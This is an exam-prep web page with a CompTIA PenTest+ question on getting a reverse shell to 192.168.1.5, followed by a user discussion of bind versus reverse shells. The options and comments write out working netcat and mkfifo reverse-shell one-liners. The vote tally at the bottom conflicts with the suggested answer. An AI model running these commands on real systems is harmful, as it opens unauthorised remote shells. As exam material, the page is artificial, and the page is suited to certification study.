exam questions

Exam PT0-001 All Questions

View all questions & answers for the PT0-001 exam

Exam PT0-001 topic 1 question 30 discussion

Actual exam question from CompTIA's PT0-001
Question #: 30
Topic #: 1
[All PT0-001 Questions]

During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO).

  • A. nc 192.168.1.5 44444
  • B. nc -nlvp 44444 -e /bin/sh
  • C. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/tmp/f
  • D. nc -e /bin/sh 192.168.1.5 44444
  • E. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 444444>/tmp/f
  • F. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.5.1 44444>/tmp/f
Show Suggested Answer Hide Answer
Suggested Answer: CD 🗳️

Comments

Chosen Answer:
This is a voting comment (?). It is better to Upvote an existing comment if you don't have anything to add.
Switch to a voting comment New
NoImDirtyDan
Highly Voted 4 years, 9 months ago
The correct answers are C & D. Source: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
upvoted 9 times
TheThreatGuy
4 years, 3 months ago
Thanks for referencing this link. Based on that, I would definitely agree.
upvoted 1 times
...
...
mr_robot
Highly Voted 4 years, 10 months ago
The question asks two possible ways to gain a reverse shell back to the attacking machine at 192.168.1.5. So the correct answers would be C and D. You can use either one to gain a reverse shell. B (nc -nlvp 44444 -e /bin/sh) is just a listener from from the remote machine used for a bind shell. Bind Shell - have the listener running on the target and the attacker connect to the listener in order to gain a remote shell. nc -nvlp 5555 -e /bin/bash - setting up a listener from the remote machine nc -nv 192.168.10.10 5555 - use our machine to connect to it remotely Reverse Shell - have the listener running on the attacker and the target connecting to the attacker with a shell. nc -nvlp 5555 - setting up a listener from the attacker machine nc -nv 192.168.20.20 5555 -e /bin/bash - use the target machine to connect to our machine http://stuffjasondoes.com/2018/07/18/bind-shells-and-reverse-shells-with-netcat/ The thing is everywhere I see this question B and C are correct so what we need to do to pass the exam, trust our own instincts/experience or what Comptia believes is correct? Is it worth to pay for the Comptia CertMaster Practice in order to verify all those doubtful questions?
upvoted 5 times
boblee
4 years, 10 months ago
CertMaster does not have these questions. I have certmaster.
upvoted 2 times
...
byrne
4 years, 5 months ago
Question specifies reverse shell, not mention bind shell ("..explore ways to gain a reverse shell back.."). Therefore C & D.
upvoted 2 times
...
...
kloug
Most Recent 2 years, 2 months ago
b,d correct
upvoted 1 times
...
kloug
2 years, 2 months ago
b,c correct
upvoted 1 times
...
miabe
2 years, 9 months ago
Selected Answer: CD
looks good to me
upvoted 1 times
...
brandonl
3 years, 1 month ago
THE ANSWER IS NOT C! A BIND SHELL SETS UP A LISTENER ON THE VICTIM; A REVERSE SHELL HAS THE LISTNER ON THE ATTACK MACHINE! C is not the answer here. The target would be establishing an outbound connection to the attacker and then run /bin/bash once is connects to the listening port on the attacker machine.
upvoted 1 times
brandonl
3 years, 1 month ago
Not B I meant lol. The answer is 100% not B.
upvoted 1 times
...
...
RTFM
3 years, 2 months ago
Selected Answer: CD
C and D are the correct answers
upvoted 2 times
...
HollarStudent_999
3 years, 9 months ago
A, B Target Listener nc -lp 5555 - e /bin/sh Attacker nc 192.168.1.1 5555
upvoted 1 times
Cybersec1989
3 years, 7 months ago
Read the question again thank you
upvoted 2 times
...
...
Isuzu
3 years, 10 months ago
B, C Ref.: https://www.reddit.com/r/hacking/comments/5ms9gv/help_reverse_shell_exploit/
upvoted 1 times
...
deathfrom
5 years ago
I think there are 3 correct answers here. B,C & D. B is needed to create a nc listener on the attackers machine. C will work when the -e option is not available on for nc. D work because the -e option is available. More than likely it will be C/D
upvoted 1 times
...
D1960
5 years, 2 months ago
I also think the correct answers are C and D. According to this site: https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/ This should work: # nc 192.168.1.5 44444 -e /bin/sh Note that D is very similar: nc -e /bin/sh 192.168.1.5 44444 - A is probably wrong because no shell is executed - B is probably wrong because no IP is not specified - E is wrong because there is no 444444 port (too high a port) - F is wrong because the IP is 192.168.5.1 not 192.168.1.5
upvoted 3 times
...
zgwy
5 years, 7 months ago
Wrong...C and D http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
upvoted 4 times
who__cares123456789___
4 years, 3 months ago
YES ^^^ Not E cause port 444444 Not F cause IP is 5.1 instead of 1.5....I suggest you see link provided by zgwy nc -e /bin/sh 10.0.0.1 1234 If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
upvoted 2 times
...
...
Community vote distribution
A (35%)
C (25%)
B (20%)
Other
Most Voted
A voting comment increases the vote count for the chosen answer by one.

Upvoting a comment with a selected answer will also increase the vote count towards that answer by one. So if you see a comment that you already agree with, you can upvote it instead of posting a new comment.

SaveCancel
Loading ...
exam
Someone Bought Contributor Access for:
SY0-701
London, 1 minute ago